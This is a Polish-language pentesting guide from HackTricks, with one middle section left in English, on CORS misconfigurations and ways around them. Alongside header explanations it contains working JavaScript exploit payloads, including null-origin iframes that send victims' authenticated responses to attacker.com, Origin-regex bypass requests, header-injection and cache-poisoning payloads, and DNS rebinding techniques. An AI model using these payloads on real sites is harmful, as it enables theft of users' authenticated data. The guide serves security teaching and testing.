hacktricks/pentesting-web/cors-bypass.md

CORS - Błędy w konfiguracji i obejście

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!
• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.

{% endhint %}

{% embed url="https://websec.nl/" %}

Czym jest CORS?

Cross-Origin Resource Sharing (CORS) standard umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów oraz które metody żądań HTTP są dozwolone z zewnętrznych źródeł.

Polityka same-origin wymaga, aby serwer żądający zasobu i serwer hostujący zasób dzieliły ten sam protokół (np. http://), nazwę domeny (np. internal-web.com) oraz port (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.

Zastosowanie polityki same-origin w kontekście http://normal-website.com/example/example.html ilustruje się następująco:

Uzyskany URL	Czy dostęp dozwolony?
http://normal-website.com/example/	Tak: Identyczny schemat, domena i port
http://normal-website.com/example2/	Tak: Identyczny schemat, domena i port
https://normal-website.com/example/	Nie: Inne schemat i port
http://en.normal-website.com/example/	Nie: Inna domena
http://www.normal-website.com/example/	Nie: Inna domena
http://normal-website.com:8080/example/	Nie: Inny port*

*Internet Explorer ignoruje numer portu przy egzekwowaniu polityki same-origin, co pozwala na ten dostęp.

Nagłówek Access-Control-Allow-Origin

Ten nagłówek może zezwalać na wiele źródeł, wartość null lub znak wieloznaczny *. Jednak żaden przeglądarka nie obsługuje wielu źródeł, a użycie znaku wieloznacznego * podlega ograniczeniom. (Znak wieloznaczny musi być używany samodzielnie, a jego użycie razem z Access-Control-Allow-Credentials: true nie jest dozwolone.)

Ten nagłówek jest wydawany przez serwer w odpowiedzi na żądanie zasobu z innej domeny zainicjowane przez stronę internetową, przy czym przeglądarka automatycznie dodaje nagłówek Origin.

Nagłówek Access-Control-Allow-Credentials

Zasadniczo, żądania międzydomenowe są realizowane bez poświadczeń, takich jak ciasteczka lub nagłówek autoryzacji. Jednak serwer międzydomenowy może zezwolić na odczyt odpowiedzi, gdy poświadczenia są wysyłane, ustawiając nagłówek Access-Control-Allow-Credentials na true.

Jeśli ustawiony na true, przeglądarka przekaże poświadczenia (ciasteczka, nagłówki autoryzacji lub certyfikaty klienta TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Zrozumienie żądań wstępnych w komunikacji międzydomenowej

Podczas inicjowania żądania międzydomenowego w określonych warunkach, takich jak użycie niestandardowej metody HTTP (czegokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych nagłówków lub zastosowanie specjalnej wartości nagłówka Content-Type, może być wymagane żądanie wstępne. To wstępne żądanie, wykorzystujące metodę OPTIONS, ma na celu poinformowanie serwera o zamiarach nadchodzącego żądania międzydomenowego, w tym o metodach HTTP i nagłówkach, które zamierza użyć.

Protokół Cross-Origin Resource Sharing (CORS) wymaga tego sprawdzenia wstępnego, aby określić wykonalność żądanej operacji międzydomenowej, weryfikując dozwolone metody, nagłówki oraz wiarygodność pochodzenia. Aby uzyskać szczegółowe informacje na temat warunków, które omijają potrzebę żądania wstępnego, zapoznaj się z obszernym przewodnikiem dostarczonym przez Mozilla Developer Network (MDN).

Ważne jest, aby zauważyć, że brak żądania wstępnego nie znosi wymogu, aby odpowiedź zawierała nagłówki autoryzacji. Bez tych nagłówków przeglądarka jest niezdolna do przetworzenia odpowiedzi z żądania międzydomenowego.

Rozważ następujący przykład żądania wstępnego mającego na celu użycie metody PUT wraz z niestandardowym nagłówkiem o nazwie Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony origin oraz inne szczegóły polityki CORS, jak pokazano poniżej:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: Ten nagłówek określa, które nagłówki mogą być używane podczas rzeczywistego żądania. Jest ustawiany przez serwer, aby wskazać dozwolone nagłówki w żądaniach od klienta.
• Access-Control-Expose-Headers: Dzięki temu nagłówkowi serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi oprócz prostych nagłówków odpowiedzi.
• Access-Control-Max-Age: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego mogą być buforowane. Serwer ustawia maksymalny czas, w sekundach, przez który informacje zwrócone przez żądanie wstępne mogą być ponownie używane.
• Access-Control-Request-Headers: Używany w żądaniach wstępnych, ten nagłówek jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
• Access-Control-Request-Method: Ten nagłówek, również używany w żądaniach wstępnych, jest ustawiany przez klienta, aby wskazać, która metoda HTTP będzie używana w rzeczywistym żądaniu.
• Origin: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy nadchodzące żądanie powinno być dozwolone czy odrzucone na podstawie polityki CORS.

Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu GET/POST nie jest wysyłane żądanie wstępne (żądanie jest wysyłane bezpośrednio), ale jeśli chcesz uzyskać dostęp do nagłówków/ciała odpowiedzi, musi ono zawierać nagłówek Access-Control-Allow-Origin, który to umożliwia.
Dlatego CORS nie chroni przed CSRF (ale może być pomocny).

Żądania w lokalnej sieci Żądanie wstępne

1. Access-Control-Request-Local-Network: Ten nagłówek jest dołączany do żądania klienta, aby zaznaczyć, że zapytanie jest skierowane do zasobu w lokalnej sieci. Służy jako znacznik informujący serwer, że żądanie pochodzi z lokalnej sieci.
2. Access-Control-Allow-Local-Network: W odpowiedzi serwery wykorzystują ten nagłówek, aby zakomunikować, że żądany zasób może być udostępniony podmiotom spoza lokalnej sieci. Działa jako zielone światło dla udostępniania zasobów w różnych granicach sieci, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.

Ważna odpowiedź zezwalająca na żądanie lokalnej sieci musi również zawierać w odpowiedzi nagłówek Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Zauważ, że adres IP linux 0.0.0.0 działa, aby obejść te wymagania dotyczące dostępu do localhost, ponieważ ten adres IP nie jest uważany za "lokalny".

Możliwe jest również obejście wymagań dotyczących sieci lokalnej, jeśli użyjesz publicznego adresu IP lokalnego punktu końcowego (jak publiczny adres IP routera). Ponieważ w kilku przypadkach, nawet jeśli publiczny IP jest używany, jeśli jest z sieci lokalnej, dostęp zostanie przyznany. {% endhint %}

Wildcards

Zauważ, że nawet jeśli następująca konfiguracja może wyglądać na bardzo permissywną:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

To nie jest dozwolone przez przeglądarki i dlatego poświadczenia nie będą wysyłane z żądaniem dozwolonym przez to.

Wykorzystywalne błędne konfiguracje

Zaobserwowano, że ustawienie Access-Control-Allow-Credentials na true jest warunkiem wstępnym dla większości prawdziwych ataków. To ustawienie pozwala przeglądarce na wysyłanie poświadczeń i odczytywanie odpowiedzi, co zwiększa skuteczność ataku. Bez tego korzyść z wydania żądania przez przeglądarkę w porównaniu do zrobienia tego samodzielnie maleje, ponieważ wykorzystanie ciasteczek użytkownika staje się niewykonalne.

Wyjątek: Wykorzystywanie lokalizacji sieciowej jako uwierzytelnienia

Istnieje wyjątek, w którym lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Umożliwia to wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnienie oparte na adresie IP w celu uzyskania dostępu do aplikacji intranetowych. Metoda ta ma podobieństwa w skutkach do DNS rebinding, ale jest prostsza do wykorzystania.

Odbicie Origin w Access-Control-Allow-Origin

Scenariusz z rzeczywistego świata, w którym wartość nagłówka Origin jest odbijana w Access-Control-Allow-Origin, jest teoretycznie mało prawdopodobny z powodu ograniczeń dotyczących łączenia tych nagłówków. Jednak deweloperzy, którzy chcą włączyć CORS dla wielu adresów URL, mogą dynamicznie generować nagłówek Access-Control-Allow-Origin, kopiując wartość nagłówka Origin. Takie podejście może wprowadzać luki, szczególnie gdy atakujący wykorzystuje domenę o nazwie zaprojektowanej tak, aby wyglądała na wiarygodną, wprowadzając w błąd logikę walidacji.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Wykorzystywanie null Origin

null origin, określony w sytuacjach takich jak przekierowania lub lokalne pliki HTML, zajmuje unikalną pozycję. Niektóre aplikacje dodają ten origin do białej listy, aby ułatwić lokalny rozwój, nieumyślnie pozwalając każdej stronie internetowej na naśladowanie null origin za pomocą osadzonego iframe, co omija ograniczenia CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniki Obejścia Wyrażeń Regularnych

Podczas napotkania listy dozwolonych domen, kluczowe jest testowanie możliwości obejścia, takich jak dodanie domeny atakującego do dozwolonej domeny lub wykorzystanie luk w przejęciu subdomen. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą pomijać niuanse w konwencjach nazewnictwa domen, co stwarza dalsze możliwości obejścia.

Zaawansowane Obejścia Wyrażeń Regularnych

Wzorce Regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropkach (.) i myślnikach (-), zaniedbując inne możliwości. Na przykład, nazwa domeny stworzona w celu uwzględnienia znaków interpretowanych inaczej przez przeglądarki i wzorce regex może obejść kontrole bezpieczeństwa. Obsługa znaków podkreślenia w subdomenach przez Safari, Chrome i Firefox ilustruje, jak takie rozbieżności mogą być wykorzystywane do obejścia logiki walidacji domen.

Aby uzyskać więcej informacji i ustawień tego sprawdzenia obejścia: https://www.corben.io/advanced-cors-techniques/ i https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Z XSS wewnątrz subdomeny

Programiści często wdrażają mechanizmy obronne, aby chronić przed wykorzystaniem CORS, poprzez białą listę domen, które mają prawo żądać informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest niezawodne. Obecność nawet jednej podatnej subdomeny w dozwolonych domenach może otworzyć drzwi do wykorzystania CORS poprzez inne luki, takie jak XSS (Cross-Site Scripting).

Aby to zobrazować, rozważmy scenariusz, w którym domena requester.com jest umieszczona na białej liście, aby uzyskać dostęp do zasobów z innej domeny, provider.com. Konfiguracja po stronie serwera może wyglądać mniej więcej tak:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

W tej konfiguracji wszystkie subdomeny requester.com mają dozwolony dostęp. Jednak jeśli subdomena, powiedzmy sub.requester.com, jest skompromitowana z luką XSS, atakujący może wykorzystać tę słabość. Na przykład, atakujący z dostępem do sub.requester.com mógłby wykorzystać lukę XSS, aby obejść polityki CORS i złośliwie uzyskać dostęp do zasobów na provider.com.

Znaki specjalne

PortSwigger’s URL validation bypass cheat sheet odkrył, że niektóre przeglądarki obsługują dziwne znaki w nazwach domen.

Chrome i Firefox obsługują podkreślenia _, które mogą obejść regexy wdrożone do walidacji nagłówka Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari jest jeszcze bardziej pobłażliwy w akceptowaniu specjalnych znaków w nazwie domeny:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Zatrucie pamięci podręcznej po stronie serwera

Z tych badań

Możliwe jest, że poprzez wykorzystanie zatrucia pamięci podręcznej po stronie serwera za pomocą wstrzykiwania nagłówków HTTP, można wywołać przechowywaną podatność na Cross-Site Scripting (XSS). Scenariusz ten ma miejsce, gdy aplikacja nie oczyszcza nagłówka Origin z nielegalnych znaków, co tworzy podatność szczególnie dla użytkowników Internet Explorera i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzykiwanie nagłówków HTTP.

Rozważ następujące żądanie, w którym nagłówek Origin jest manipulowany:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge interpretują odpowiedź jako:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a X-User-id header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.

Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the Vary: Origin header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.

To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the Vary: Origin header.

Here's a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, która wykorzystuje fakt, że zasada tej samej lokalizacji (SOP) nie ma zastosowania podczas włączania zasobów za pomocą tagu skryptu. Dzieje się tak, ponieważ skrypty muszą być włączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolną treść, która została włączona za pomocą tagu skryptu.

Ta podatność staje się szczególnie istotna w przypadku dynamicznego JavaScript lub JSONP (JSON z Padding), zwłaszcza gdy używane są informacje o ambient-authority, takie jak ciasteczka, do uwierzytelniania. Podczas żądania zasobu z innego hosta ciasteczka są dołączane, co czyni je dostępnymi dla atakującego.

Aby lepiej zrozumieć i złagodzić tę podatność, możesz użyć wtyczki BurpSuite dostępnej pod adresem https://github.com/kapytein/jsonp. Ta wtyczka może pomóc w identyfikacji i rozwiązaniu potencjalnych podatności XSSI w Twoich aplikacjach internetowych.

Przeczytaj więcej o różnych typach XSSI i jak je wykorzystać tutaj.

Spróbuj dodać callback parameter do żądania. Może strona była przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z Content-Type: application/javascript, co obejdzie politykę CORS.

Łatwy (bezużyteczny?) bypass

Jednym ze sposobów na obejście ograniczenia Access-Control-Allow-Origin jest poproszenie aplikacji internetowej o wykonanie żądania w Twoim imieniu i odesłanie odpowiedzi. Jednak w tym scenariuszu dane uwierzytelniające ostatecznej ofiary nie będą wysyłane, ponieważ żądanie jest kierowane do innej domeny.

1. CORS-escape: To narzędzie zapewnia proxy, które przekazuje Twoje żądanie wraz z jego nagłówkami, jednocześnie fałszując nagłówek Origin, aby pasował do żądanej domeny. To skutecznie omija politykę CORS. Oto przykład użycia z XMLHttpRequest:
2. simple-cors-escape: To narzędzie oferuje alternatywne podejście do proxy żądań. Zamiast przekazywać Twoje żądanie w oryginalnej formie, serwer wykonuje własne żądanie z określonymi parametrami.

Bypass Iframe + Popup

Możesz obejść kontrole CORS takie jak e.origin === window.origin, tworząc iframe i z niego otwierając nowe okno. Więcej informacji na następnej stronie:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding poprzez TTL

DNS rebinding poprzez TTL to technika używana do obejścia niektórych zabezpieczeń poprzez manipulację rekordami DNS. Oto jak to działa:

1. Atakujący tworzy stronę internetową i sprawia, że ofiara uzyskuje do niej dostęp.
2. Atakujący następnie zmienia DNS (IP) swojej domeny, aby wskazywał na stronę ofiary.
3. Przeglądarka ofiary buforuje odpowiedź DNS, która może mieć wartość TTL (Time to Live) wskazującą, jak długo rekord DNS powinien być uważany za ważny.
4. Gdy TTL wygasa, przeglądarka ofiary wykonuje nowe żądanie DNS, co pozwala atakującemu na wykonanie kodu JavaScript na stronie ofiary.
5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje z ofiary bez wysyłania jakichkolwiek ciasteczek do serwera ofiary.

Ważne jest, aby zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą uniemożliwić natychmiastowe nadużycie tej techniki, nawet przy niskich wartościach TTL.

DNS rebinding może być przydatny do omijania jawnych kontroli IP wykonywanych przez ofiarę lub w scenariuszach, w których użytkownik lub bot pozostaje na tej samej stronie przez dłuższy czas, co pozwala na wygaśnięcie bufora.

Jeśli potrzebujesz szybkiego sposobu na nadużycie DNS rebinding, możesz skorzystać z usług takich jak https://lock.cmpxchg8b.com/rebinder.html.

Aby uruchomić własny serwer DNS rebinding, możesz wykorzystać narzędzia takie jak DNSrebinder (https://github.com/mogwailabs/DNSrebinder). To polega na wystawieniu lokalnego portu 53/udp, utworzeniu rekordu A wskazującego na niego (np. ns.example.com) oraz utworzeniu rekordu NS wskazującego na wcześniej utworzony subdomenę A (np. ns.example.com). Każda subdomena subdomeny ns.example.com będzie następnie rozwiązywana przez Twój host.

Możesz również zbadać publicznie działający serwer pod adresem http://rebind.it/singularity.html w celu dalszego zrozumienia i eksperymentowania.

DNS Rebinding poprzez Flooding Cache DNS

DNS rebinding poprzez flooding cache DNS to kolejna technika używana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:

1. Początkowo, gdy ofiara wykonuje żądanie DNS, otrzymuje odpowiedź z adresem IP atakującego.
2. Aby obejść obronę buforowania, atakujący wykorzystuje service worker. Service worker zalewa pamięć podręczną DNS, co skutecznie usuwa zbuforowaną nazwę serwera atakującego.
3. Gdy przeglądarka ofiary wykonuje drugie żądanie DNS, otrzymuje teraz odpowiedź z adresem IP 127.0.0.1, który zazwyczaj odnosi się do localhost.

Zalewając pamięć podręczną DNS za pomocą service worker, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wykonania drugiego żądania, tym razem rozwiązując do pożądanego adresu IP atakującego.

DNS Rebinding poprzez Cache

Innym sposobem na obejście obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej subdomeny u dostawcy DNS. Oto jak to działa:

1. Atakujący ustawia dwa rekordy A (lub jeden rekord A z dwoma IP) dla tej samej subdomeny u dostawcy DNS.
2. Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.
3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć ładunek, który wykonuje żądania HTTP do tej samej domeny.
4. Jednak gdy atakujący uzyska adres IP ofiary, przestaje odpowiadać na przeglądarkę ofiary.
5. Przeglądarka ofiary, zdając sobie sprawę, że domena nie odpowiada, przechodzi do użycia drugiego podanego adresu IP.
6. Uzyskując dostęp do drugiego adresu IP, przeglądarka omija zasadę tej samej lokalizacji (SOP), co pozwala atakującemu na nadużycie tego i zbieranie oraz eksfiltrację informacji.

Ta technika wykorzystuje zachowanie przeglądarek, gdy dla domeny podawane są wiele adresów IP. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji od ofiary.

{% hint style="warning" %} Zauważ, że aby uzyskać dostęp do localhost, powinieneś spróbować ponownie powiązać 127.0.0.1 w Windows i 0.0.0.0 w Linux.
Dostawcy tacy jak godaddy czy cloudflare nie pozwolili mi używać IP 0.0.0.0, ale AWS route53 pozwolił mi utworzyć jeden rekord A z 2 IP, z których jednym było "0.0.0.0"

{% endhint %}

Aby uzyskać więcej informacji, możesz sprawdzić https://unit42.paloaltonetworks.com/dns-rebinding/

Inne powszechne obejścia

• Jeśli wewnętrzne IP nie są dozwolone, mogą zapomnieć o zakazaniu 0.0.0.0 (działa na Linuxie i Macu)
• Jeśli wewnętrzne IP nie są dozwolone, odpowiedz z CNAME do localhost (działa na Linuxie i Macu)
• Jeśli wewnętrzne IP nie są dozwolone jako odpowiedzi DNS, możesz odpowiedzieć CNAME do wewnętrznych usług takich jak www.corporate.internal.

Broń DNS Rebidding

Możesz znaleźć więcej informacji na temat poprzednich technik obejścia i jak używać następującego narzędzia w wykładzie Gerald Doussot - Stan ataków DNS Rebinding & Singularity of Origin - Konferencja DEF CON 27.

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do ponownego powiązania adresu IP nazwy serwera DNS ataku z adresem IP docelowej maszyny oraz do dostarczania ładunków atakujących w celu wykorzystania podatnego oprogramowania na docelowej maszynie.

Rzeczywista ochrona przed DNS Rebinding

• Używaj TLS w usługach wewnętrznych
• Żądaj uwierzytelnienia, aby uzyskać dostęp do danych
• Waliduj nagłówek Host
• https://wicg.github.io/private-network-access/: Propozycja zawsze wysyłania żądania wstępnego, gdy publiczne serwery chcą uzyskać dostęp do serwerów wewnętrznych

Narzędzia

Fuzz możliwe błędne konfiguracje w politykach CORS

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
• https://github.com/chenjj/CORScanner
• https://github.com/lc/theftfuzzer
• https://github.com/s0md3v/Corsy
• https://github.com/Shivangx01b/CorsMe
• https://github.com/omranisecurity/CorsOne

Odniesienia

• https://portswigger.net/web-security/cors
• https://portswigger.net/web-security/cors/access-control-allow-origin
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
• https://www.codecademy.com/articles/what-is-cors
• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!
• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Podziel się sztuczkami hackingowymi, przesyłając PR do HackTricks i HackTricks Cloud repozytoriów github.

{% endhint %}